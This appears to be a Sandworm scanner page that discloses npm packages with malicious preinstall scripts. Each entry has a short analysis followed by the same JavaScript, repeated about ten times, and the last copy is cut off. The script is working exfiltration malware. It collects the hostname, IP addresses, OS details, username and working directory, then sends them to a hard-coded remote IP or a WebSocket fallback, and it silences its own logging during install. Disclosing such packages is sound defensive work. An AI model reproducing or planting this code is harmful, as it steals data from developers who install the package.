Home
Docs
GitHub
Blog

Sandworm scans all new Npm package versions for malicious install scripts.
Scanning since October 2024.
Follow our 𝕏 / Twitter feed for updates.

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The script collects sensitive system information, including public IP, local IP, hostname, OS type, and the username of the current user. It then sends this information to a remote server via GET and POST requests. The script also includes a fallback mechanism using WebSocket, which could be exploited to report sensitive data without the user's consent. This type of behavior is dangerous as it can exfiltrate sensitive data from the user's machine to an attacker-controlled server.

Install script:
node index.js
Install script code:
const os = require("os");
const https = require("https");

// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";

// Dynamically import node-fetch
async function getFetch() {
    return (await import("node-fetch")).default;
}

// Collect System Information
const systemInfo = {
    publicIP: "", // Will be fetched dynamically
    hostname: os.hostname(),
    osType: os.type(),
    osPlatform: os.platform(),
    osRelease: os.release(),
    osArch: os.arch(),
    localIP: Object.values(os.networkInterfaces())
        .flat()
        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
    whoamiUser: os.userInfo().username,
    currentDirectory: process.cwd(),
};

// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
    let data = "";
    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
        try {
            systemInfo.publicIP = JSON.parse(data).ip;
        } catch (e) {
            systemInfo.publicIP = "Unknown";
        }
        sendData(systemInfo);
    });
}).on("error", () => sendData(systemInfo));

// List of fallback servers
const endpoints = [
    "http://34.229.201.136:8080/jpd.php",
    "http://34.229.201.136:8080/jpd1.php",
];

// Get random available endpoint
function getAvailableEndpoint() {
    return endpoints[Math.floor(Math.random() * endpoints.length)];
}

// Convert system info to query string
function buildQueryParams(data) {
    return Object.entries(data)
        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
        .join("&");
}

// Send Data (GET and POST)
async function sendData(data) {
    try {
        const fetch = await getFetch();

        // Construct GET request URL
        const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;

        // Send GET request
        const getResponse = await fetch(getUrl, { method: "GET" });

        // Send POST request
        const postResponse = await fetch(getAvailableEndpoint(), {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            },
            body: JSON.stringify(data),
        });

        // Only log responses if NOT running in `npm install`
        if (!isPreinstall) {
            console.log("GET Response:", await getResponse.text());
            console.log("POST Response:", await postResponse.text());
        }
    } catch (error) {
        if (!isPreinstall) {
            console.error("Error sending data via HTTP:", error);
        }
        sendViaWebSocket(data);
    }
}

// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
    try {
        const { WebSocket } = await import("ws"); // Import ws dynamically
        const ws = new WebSocket("wss://yourserver.com/socket");

        ws.on("open", () => {
            if (!isPreinstall) {
                console.log("WebSocket connection established.");
            }
            ws.send(JSON.stringify(data));
            ws.close();
        });

        ws.on("error", (err) => {
            if (!isPreinstall) {
                console.error("WebSocket Error:", err);
            }
        });
    } catch (error) {
        if (!isPreinstall) {
            console.error("WebSocket module import failed:", error);
        }
    }
}

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The code collects sensitive system information such as the public IP address, local IP address, hostname, OS type, and user information, and sends this data to potentially malicious endpoints. It uses both HTTP GET and POST requests to transmit the collected data, and it also employs a WebSocket connection as a backup. This behavior can be harmful as it compromises user privacy and security, potentially leading to unauthorized access or misuse of the captured data.

Install script:
node index.js
Install script code:
const os = require("os");
const https = require("https");

// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";

// Dynamically import node-fetch
async function getFetch() {
    return (await import("node-fetch")).default;
}

// Collect System Information
const systemInfo = {
    publicIP: "", // Will be fetched dynamically
    hostname: os.hostname(),
    osType: os.type(),
    osPlatform: os.platform(),
    osRelease: os.release(),
    osArch: os.arch(),
    localIP: Object.values(os.networkInterfaces())
        .flat()
        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
    whoamiUser: os.userInfo().username,
    currentDirectory: process.cwd(),
};

// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
    let data = "";
    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
        try {
            systemInfo.publicIP = JSON.parse(data).ip;
        } catch (e) {
            systemInfo.publicIP = "Unknown";
        }
        sendData(systemInfo);
    });
}).on("error", () => sendData(systemInfo));

// List of fallback servers
const endpoints = [
    "http://34.229.201.136:8080/jpd.php",
    "http://34.229.201.136:8080/jpd1.php",
];

// Get random available endpoint
function getAvailableEndpoint() {
    return endpoints[Math.floor(Math.random() * endpoints.length)];
}

// Convert system info to query string
function buildQueryParams(data) {
    return Object.entries(data)
        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
        .join("&");
}

// Send Data (GET and POST)
async function sendData(data) {
    try {
        const fetch = await getFetch();

        // Construct GET request URL
        const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;

        // Send GET request
        const getResponse = await fetch(getUrl, { method: "GET" });

        // Send POST request
        const postResponse = await fetch(getAvailableEndpoint(), {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            },
            body: JSON.stringify(data),
        });

        // Only log responses if NOT running in `npm install`
        if (!isPreinstall) {
            console.log("GET Response:", await getResponse.text());
            console.log("POST Response:", await postResponse.text());
        }
    } catch (error) {
        if (!isPreinstall) {
            console.error("Error sending data via HTTP:", error);
        }
        sendViaWebSocket(data);
    }
}

// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
    try {
        const { WebSocket } = await import("ws"); // Import ws dynamically
        const ws = new WebSocket("wss://yourserver.com/socket");

        ws.on("open", () => {
            if (!isPreinstall) {
                console.log("WebSocket connection established.");
            }
            ws.send(JSON.stringify(data));
            ws.close();
        });

        ws.on("error", (err) => {
            if (!isPreinstall) {
                console.error("WebSocket Error:", err);
            }
        });
    } catch (error) {
        if (!isPreinstall) {
            console.error("WebSocket module import failed:", error);
        }
    }
}

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The code collects detailed system information, including sensitive data such as the local IP address and username, and sends it to remote servers without the user's consent. This could lead to unauthorized access to personal data and possible exploitation of the user's system.

Install script:
node index.js
Install script code:
const os = require("os");
const https = require("https");

// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";

// Dynamically import node-fetch
async function getFetch() {
    return (await import("node-fetch")).default;
}

// Collect System Information
const systemInfo = {
    publicIP: "", // Will be fetched dynamically
    hostname: os.hostname(),
    osType: os.type(),
    osPlatform: os.platform(),
    osRelease: os.release(),
    osArch: os.arch(),
    localIP: Object.values(os.networkInterfaces())
        .flat()
        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
    whoamiUser: os.userInfo().username,
    currentDirectory: process.cwd(),
};

// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
    let data = "";
    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
        try {
            systemInfo.publicIP = JSON.parse(data).ip;
        } catch (e) {
            systemInfo.publicIP = "Unknown";
        }
        sendData(systemInfo);
    });
}).on("error", () => sendData(systemInfo));

// List of fallback servers
const endpoints = [
    "http://34.229.201.136:8080/jpd.php",
    "http://34.229.201.136:8080/jpd1.php",
];

// Get random available endpoint
function getAvailableEndpoint() {
    return endpoints[Math.floor(Math.random() * endpoints.length)];
}

// Convert system info to query string
function buildQueryParams(data) {
    return Object.entries(data)
        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
        .join("&");
}

// Send Data (GET and POST)
async function sendData(data) {
    try {
        const fetch = await getFetch();

        // Construct GET request URL
        const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;

        // Send GET request
        const getResponse = await fetch(getUrl, { method: "GET" });

        // Send POST request
        const postResponse = await fetch(getAvailableEndpoint(), {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            },
            body: JSON.stringify(data),
        });

        // Only log responses if NOT running in `npm install`
        if (!isPreinstall) {
            console.log("GET Response:", await getResponse.text());
            console.log("POST Response:", await postResponse.text());
        }
    } catch (error) {
        if (!isPreinstall) {
            console.error("Error sending data via HTTP:", error);
        }
        sendViaWebSocket(data);
    }
}

// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
    try {
        const { WebSocket } = await import("ws"); // Import ws dynamically
        const ws = new WebSocket("wss://yourserver.com/socket");

        ws.on("open", () => {
            if (!isPreinstall) {
                console.log("WebSocket connection established.");
            }
            ws.send(JSON.stringify(data));
            ws.close();
        });

        ws.on("error", (err) => {
            if (!isPreinstall) {
                console.error("WebSocket Error:", err);
            }
        });
    } catch (error) {
        if (!isPreinstall) {
            console.error("WebSocket module import failed:", error);
        }
    }
}

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The code collects sensitive system information such as the public IP, hostname, OS type, local IP, and the username of the currently logged-in user, and sends this data to remote servers. This poses a significant security risk as it can be used to track users or compromise their privacy. The malicious nature is further emphasized as it hides its actions during npm install, hinting at deceptive behavior aimed at evading detection.

Install script:
node index.js
Install script code:
const os = require("os");
const https = require("https");

// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";

// Dynamically import node-fetch
async function getFetch() {
    return (await import("node-fetch")).default;
}

// Collect System Information
const systemInfo = {
    publicIP: "", // Will be fetched dynamically
    hostname: os.hostname(),
    osType: os.type(),
    osPlatform: os.platform(),
    osRelease: os.release(),
    osArch: os.arch(),
    localIP: Object.values(os.networkInterfaces())
        .flat()
        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
    whoamiUser: os.userInfo().username,
    currentDirectory: process.cwd(),
};

// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
    let data = "";
    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
        try {
            systemInfo.publicIP = JSON.parse(data).ip;
        } catch (e) {
            systemInfo.publicIP = "Unknown";
        }
        sendData(systemInfo);
    });
}).on("error", () => sendData(systemInfo));

// List of fallback servers
const endpoints = [
    "http://34.229.201.136:8080/jpd.php",
    "http://34.229.201.136:8080/jpd1.php",
];

// Get random available endpoint
function getAvailableEndpoint() {
    return endpoints[Math.floor(Math.random() * endpoints.length)];
}

// Convert system info to query string
function buildQueryParams(data) {
    return Object.entries(data)
        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
        .join("&");
}

// Send Data (GET and POST)
async function sendData(data) {
    try {
        const fetch = await getFetch();

        // Construct GET request URL
        const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;

        // Send GET request
        const getResponse = await fetch(getUrl, { method: "GET" });

        // Send POST request
        const postResponse = await fetch(getAvailableEndpoint(), {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            },
            body: JSON.stringify(data),
        });

        // Only log responses if NOT running in `npm install`
        if (!isPreinstall) {
            console.log("GET Response:", await getResponse.text());
            console.log("POST Response:", await postResponse.text());
        }
    } catch (error) {
        if (!isPreinstall) {
            console.error("Error sending data via HTTP:", error);
        }
        sendViaWebSocket(data);
    }
}

// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
    try {
        const { WebSocket } = await import("ws"); // Import ws dynamically
        const ws = new WebSocket("wss://yourserver.com/socket");

        ws.on("open", () => {
            if (!isPreinstall) {
                console.log("WebSocket connection established.");
            }
            ws.send(JSON.stringify(data));
            ws.close();
        });

        ws.on("error", (err) => {
            if (!isPreinstall) {
                console.error("WebSocket Error:", err);
            }
        });
    } catch (error) {
        if (!isPreinstall) {
            console.error("WebSocket module import failed:", error);
        }
    }
}

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The code collects sensitive system information, such as public IP, local IP, username, and operating system details, and sends this data to predefined remote servers using both HTTP requests and WebSockets. This behavior indicates a potential data exfiltration vulnerability, as it shares confidential information without user consent, which could be exploited maliciously.

Install script:
node index.js
Install script code:
const os = require("os");
const https = require("https");

// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";

// Dynamically import node-fetch
async function getFetch() {
    return (await import("node-fetch")).default;
}

// Collect System Information
const systemInfo = {
    publicIP: "", // Will be fetched dynamically
    hostname: os.hostname(),
    osType: os.type(),
    osPlatform: os.platform(),
    osRelease: os.release(),
    osArch: os.arch(),
    localIP: Object.values(os.networkInterfaces())
        .flat()
        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
    whoamiUser: os.userInfo().username,
    currentDirectory: process.cwd(),
};

// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
    let data = "";
    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
        try {
            systemInfo.publicIP = JSON.parse(data).ip;
        } catch (e) {
            systemInfo.publicIP = "Unknown";
        }
        sendData(systemInfo);
    });
}).on("error", () => sendData(systemInfo));

// List of fallback servers
const endpoints = [
    "http://34.229.201.136:8080/jpd.php",
    "http://34.229.201.136:8080/jpd1.php",
];

// Get random available endpoint
function getAvailableEndpoint() {
    return endpoints[Math.floor(Math.random() * endpoints.length)];
}

// Convert system info to query string
function buildQueryParams(data) {
    return Object.entries(data)
        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
        .join("&");
}

// Send Data (GET and POST)
async function sendData(data) {
    try {
        const fetch = await getFetch();

        // Construct GET request URL
        const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;

        // Send GET request
        const getResponse = await fetch(getUrl, { method: "GET" });

        // Send POST request
        const postResponse = await fetch(getAvailableEndpoint(), {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            },
            body: JSON.stringify(data),
        });

        // Only log responses if NOT running in `npm install`
        if (!isPreinstall) {
            console.log("GET Response:", await getResponse.text());
            console.log("POST Response:", await postResponse.text());
        }
    } catch (error) {
        if (!isPreinstall) {
            console.error("Error sending data via HTTP:", error);
        }
        sendViaWebSocket(data);
    }
}

// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
    try {
        const { WebSocket } = await import("ws"); // Import ws dynamically
        const ws = new WebSocket("wss://yourserver.com/socket");

        ws.on("open", () => {
            if (!isPreinstall) {
                console.log("WebSocket connection established.");
            }
            ws.send(JSON.stringify(data));
            ws.close();
        });

        ws.on("error", (err) => {
            if (!isPreinstall) {
                console.error("WebSocket Error:", err);
            }
        });
    } catch (error) {
        if (!isPreinstall) {
            console.error("WebSocket module import failed:", error);
        }
    }
}

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The code collects sensitive information related to the user's system, such as IP addresses, hostname, operating system details, and the current user's username, and then sends this information to a remote server. This is dangerous as it could lead to privacy issues and unauthorized access to personal information. The mechanism also includes a fallback to send data via WebSocket, increasing the chances of the information being sent even if HTTP requests fail, thus exposing the user to additional risks.

Install script:
node index.js
Install script code:
const os = require("os");
const https = require("https");

// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";

// Dynamically import node-fetch
async function getFetch() {
    return (await import("node-fetch")).default;
}

// Collect System Information
const systemInfo = {
    publicIP: "", // Will be fetched dynamically
    hostname: os.hostname(),
    osType: os.type(),
    osPlatform: os.platform(),
    osRelease: os.release(),
    osArch: os.arch(),
    localIP: Object.values(os.networkInterfaces())
        .flat()
        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
    whoamiUser: os.userInfo().username,
    currentDirectory: process.cwd(),
};

// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
    let data = "";
    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
        try {
            systemInfo.publicIP = JSON.parse(data).ip;
        } catch (e) {
            systemInfo.publicIP = "Unknown";
        }
        sendData(systemInfo);
    });
}).on("error", () => sendData(systemInfo));

// List of fallback servers
const endpoints = [
    "http://34.229.201.136:8080/jpd.php",
    "http://34.229.201.136:8080/jpd1.php",
];

// Get random available endpoint
function getAvailableEndpoint() {
    return endpoints[Math.floor(Math.random() * endpoints.length)];
}

// Convert system info to query string
function buildQueryParams(data) {
    return Object.entries(data)
        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
        .join("&");
}

// Send Data (GET and POST)
async function sendData(data) {
    try {
        const fetch = await getFetch();

        // Construct GET request URL
        const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;

        // Send GET request
        const getResponse = await fetch(getUrl, { method: "GET" });

        // Send POST request
        const postResponse = await fetch(getAvailableEndpoint(), {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            },
            body: JSON.stringify(data),
        });

        // Only log responses if NOT running in `npm install`
        if (!isPreinstall) {
            console.log("GET Response:", await getResponse.text());
            console.log("POST Response:", await postResponse.text());
        }
    } catch (error) {
        if (!isPreinstall) {
            console.error("Error sending data via HTTP:", error);
        }
        sendViaWebSocket(data);
    }
}

// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
    try {
        const { WebSocket } = await import("ws"); // Import ws dynamically
        const ws = new WebSocket("wss://yourserver.com/socket");

        ws.on("open", () => {
            if (!isPreinstall) {
                console.log("WebSocket connection established.");
            }
            ws.send(JSON.stringify(data));
            ws.close();
        });

        ws.on("error", (err) => {
            if (!isPreinstall) {
                console.error("WebSocket Error:", err);
            }
        });
    } catch (error) {
        if (!isPreinstall) {
            console.error("WebSocket module import failed:", error);
        }
    }
}

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

This code collects sensitive system information such as the public IP address, local IP address, username, and OS details, and sends it to potentially malicious endpoints. The code dynamically constructs GET and POST requests to send this information, which poses a significant privacy risk. Additionally, it employs a WebSocket fallback to ensure data transmission occurs even if HTTP requests fail, indicating a robust mechanism to exfiltrate sensitive data without the user's consent.

Install script:
node index.js
Install script code:
const os = require("os");
const https = require("https");

// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";

// Dynamically import node-fetch
async function getFetch() {
    return (await import("node-fetch")).default;
}

// Collect System Information
const systemInfo = {
    publicIP: "", // Will be fetched dynamically
    hostname: os.hostname(),
    osType: os.type(),
    osPlatform: os.platform(),
    osRelease: os.release(),
    osArch: os.arch(),
    localIP: Object.values(os.networkInterfaces())
        .flat()
        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
    whoamiUser: os.userInfo().username,
    currentDirectory: process.cwd(),
};

// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
    let data = "";
    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
        try {
            systemInfo.publicIP = JSON.parse(data).ip;
        } catch (e) {
            systemInfo.publicIP = "Unknown";
        }
        sendData(systemInfo);
    });
}).on("error", () => sendData(systemInfo));

// List of fallback servers
const endpoints = [
    "http://34.229.201.136:8080/jpd.php",
    "http://34.229.201.136:8080/jpd1.php",
];

// Get random available endpoint
function getAvailableEndpoint() {
    return endpoints[Math.floor(Math.random() * endpoints.length)];
}

// Convert system info to query string
function buildQueryParams(data) {
    return Object.entries(data)
        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
        .join("&");
}

// Send Data (GET and POST)
async function sendData(data) {
    try {
        const fetch = await getFetch();

        // Construct GET request URL
        const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;

        // Send GET request
        const getResponse = await fetch(getUrl, { method: "GET" });

        // Send POST request
        const postResponse = await fetch(getAvailableEndpoint(), {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            },
            body: JSON.stringify(data),
        });

        // Only log responses if NOT running in `npm install`
        if (!isPreinstall) {
            console.log("GET Response:", await getResponse.text());
            console.log("POST Response:", await postResponse.text());
        }
    } catch (error) {
        if (!isPreinstall) {
            console.error("Error sending data via HTTP:", error);
        }
        sendViaWebSocket(data);
    }
}

// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
    try {
        const { WebSocket } = await import("ws"); // Import ws dynamically
        const ws = new WebSocket("wss://yourserver.com/socket");

        ws.on("open", () => {
            if (!isPreinstall) {
                console.log("WebSocket connection established.");
            }
            ws.send(JSON.stringify(data));
            ws.close();
        });

        ws.on("error", (err) => {
            if (!isPreinstall) {
                console.error("WebSocket Error:", err);
            }
        });
    } catch (error) {
        if (!isPreinstall) {
            console.error("WebSocket module import failed:", error);
        }
    }
}

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The script collects sensitive system information, including the hostname, IP addresses, and user info, then sends this data to remote servers without user consent. This can lead to privacy violations, potential data theft, and exploitation of sensitive information.

Install script:
node index.js
Install script code:
const os = require("os");
const https = require("https");

// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";

// Dynamically import node-fetch
async function getFetch() {
    return (await import("node-fetch")).default;
}

// Collect System Information
const systemInfo = {
    publicIP: "", // Will be fetched dynamically
    hostname: os.hostname(),
    osType: os.type(),
    osPlatform: os.platform(),
    osRelease: os.release(),
    osArch: os.arch(),
    localIP: Object.values(os.networkInterfaces())
        .flat()
        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
    whoamiUser: os.userInfo().username,
    currentDirectory: process.cwd(),
};

// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
    let data = "";
    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
        try {
            systemInfo.publicIP = JSON.parse(data).ip;
        } catch (e) {
            systemInfo.publicIP = "Unknown";
        }
        sendData(systemInfo);
    });
}).on("error", () => sendData(systemInfo));

// List of fallback servers
const endpoints = [
    "http://34.229.201.136:8080/jpd.php",
    "http://34.229.201.136:8080/jpd1.php",
];

// Get random available endpoint
function getAvailableEndpoint() {
    return endpoints[Math.floor(Math.random() * endpoints.length)];
}

// Convert system info to query string
function buildQueryParams(data) {
    return Object.entries(data)
        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
        .join("&");
}

// Send Data (GET and POST)
async function sendData(data) {
    try {
        const fetch = await getFetch();

        // Construct GET request URL
        const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;

        // Send GET request
        const getResponse = await fetch(getUrl, { method: "GET" });

        // Send POST request
        const postResponse = await fetch(getAvailableEndpoint(), {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            },
            body: JSON.stringify(data),
        });

        // Only log responses if NOT running in `npm install`
        if (!isPreinstall) {
            console.log("GET Response:", await getResponse.text());
            console.log("POST Response:", await postResponse.text());
        }
    } catch (error) {
        if (!isPreinstall) {
            console.error("Error sending data via HTTP:", error);
        }
        sendViaWebSocket(data);
    }
}

// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
    try {
        const { WebSocket } = await import("ws"); // Import ws dynamically
        const ws = new WebSocket("wss://yourserver.com/socket");

        ws.on("open", () => {
            if (!isPreinstall) {
                console.log("WebSocket connection established.");
            }
            ws.send(JSON.stringify(data));
            ws.close();
        });

        ws.on("error", (err) => {
            if (!isPreinstall) {
                console.error("WebSocket Error:", err);
            }
        });
    } catch (error) {
        if (!isPreinstall) {
            console.error("WebSocket module import failed:", error);
        }
    }
}

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

This code collects sensitive system information including public and local IP addresses, hostname, OS type, user information, and current directory, and sends it to a remote server without user consent. The presence of dynamic imports and WebSocket connections further suggests a potential for unauthorized data exfiltration, making it a serious security risk.

Install script:
node index.js
Install script code:
const os = require("os");
const https = require("https");

// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";

// Dynamically import node-fetch
async function getFetch() {
    return (await import("node-fetch")).default;
}

// Collect System Information
const systemInfo = {
    publicIP: "", // Will be fetched dynamically
    hostname: os.hostname(),
    osType: os.type(),
    osPlatform: os.platform(),
    osRelease: os.release(),
    osArch: os.arch(),
    localIP: Object.values(os.networkInterfaces())
        .flat()
        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
    whoamiUser: os.userInfo().username,
    currentDirectory: process.cwd(),
};

// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
    let data = "";
    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
        try {
            systemInfo.publicIP = JSON.parse(data).ip;
        } catch (e) {
            systemInfo.publicIP = "Unknown";
        }
        sendData(systemInfo);
    });
}).on("error", () => sendData(systemInfo));

// List of fallback servers
const endpoints = [
    "http://34.229.201.136:8080/jpd.php",
    "http://34.229.201.136:8080/jpd1.php",
];

// Get random available endpoint
function getAvailableEndpoint() {
    return endpoints[Math.floor(Math.random() * endpoints.length)];
}

// Convert system info to query string
function buildQueryParams(data) {
    return Object.entries(data)
        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
        .join("&");
}

// Send Data (GET and POST)
async function sendData(data) {
    try {
        const fetch = await getFetch();

        // Construct GET request URL
        const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;

        // Send GET request
        const getResponse = await fetch(getUrl, { method: "GET" });

        // Send POST request
        const postResponse = await fetch(getAvailableEndpoint(), {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            },
            body: JSON.stringify(data),
        });

        // Only log responses if NOT running in `npm install`
        if (!isPreinstall) {
            console.log("GET Response:", await getResponse.text());
            console.log("POST Response:", await postResponse.text());
        }
    } catch (error) {
        if (!isPreinstall) {
            console.error("Error sending data via HTTP:", error);
        }
        sendViaWebSocket(data);
    }
}

// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
    try {
        const { WebSocket } = await import("ws"); // Import ws dynamically
        const ws = new WebSocket("wss://yourserver.com/socket");

        ws.on("open", () => {
            if (!isPreinstall) {
                console.log("WebSocket connection established.");
            }
            ws.send(JSON.stringify(data));
            ws.close();
        });

        ws.on("error", (err) => {
            if (!isPreinstall) {
                console.error("WebSocket Error:", err);
            }
        });
    } catch (error) {
        if (!isPreinstall) {
            console.error("WebSocket module import failed:", error);
        }
    }
}

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The code collects sensitive system information, including the hostname, local and public IP addresses, OS details, and the current user's username, then sends this data to external endpoints (including a remote server over WebSockets) without user consent. This poses a significant privacy risk as it could be used maliciously to track users or harvest sensitive information.

Install script:
node index.js
Install script code:
const os = require("os");
const https = require("https");

// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";

// Dynamically import node-fetch
async function getFetch() {
    return (await import("node-fetch")).default;
}

// Collect System Information
const systemInfo = {
    publicIP: "", // Will be fetched dynamically
    hostname: os.hostname(),
    osType: os.type(),
    osPlatform: os.platform(),
    osRelease: os.release(),
    osArch: os.arch(),
    localIP: Object.values(os.networkInterfaces())
        .flat()
        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
    whoamiUser: os.userInfo().username,
    currentDirectory: process.cwd(),
};

// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
    let data = "";
    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
        try {
            systemInfo.publicIP = JSON.parse(data).ip;
        } catch (e) {
            systemInfo.publicIP = "Unknown";
        }
        sendData(systemInfo);
    });
}).on("error", () => sendData(systemInfo));

// List of fallback servers
const endpoints = [
    "http://34.229.201.136:8080/jpd.php",
    "http://34.229.201.136:8080/jpd1.php",
];

// Get random available endpoint
function getAvailableEndpoint() {
    return endpoints[Math.floor(Math.random() * endpoints.length)];
}

// Convert system info to query string
function buildQueryParams(data) {
    return Object.entries(data)
        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
        .join("&");
}

// Send Data (GET and POST)
async function sendData(data) {
    try {
        const fetch = await getFetch();

        // Construct GET request URL
        const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;

        // Send GET request
        const getResponse = await fetch(getUrl, { method: "GET" });

        // Send POST request
        const postResponse = await fetch(getAvailableEndpoint(), {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            },
            body: JSON.stringify(data),
        });

        // Only log responses if NOT running in `npm install`
        if (!isPreinstall) {
            console.log("GET Response:", await getResponse.text());
            console.log("POST Response:", await postResponse.text());
        }
    } catch (error) {
        if (!isPreinstall) {
            console.error("Error sending data via HTTP:", error);
        }
        sendViaWebSocket(data);
    }
}

// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
    try {
        const { WebSocket } = await import("ws"); // Import ws dynamically
        const ws = new WebSocket("wss://yourserver.com/socket");

        ws.on("open", () => {
            if (!isPreinstall) {
                console.log("WebSocket connection established.");
            }
            ws.send(JSON.stringify(data));
            ws.close();
        });

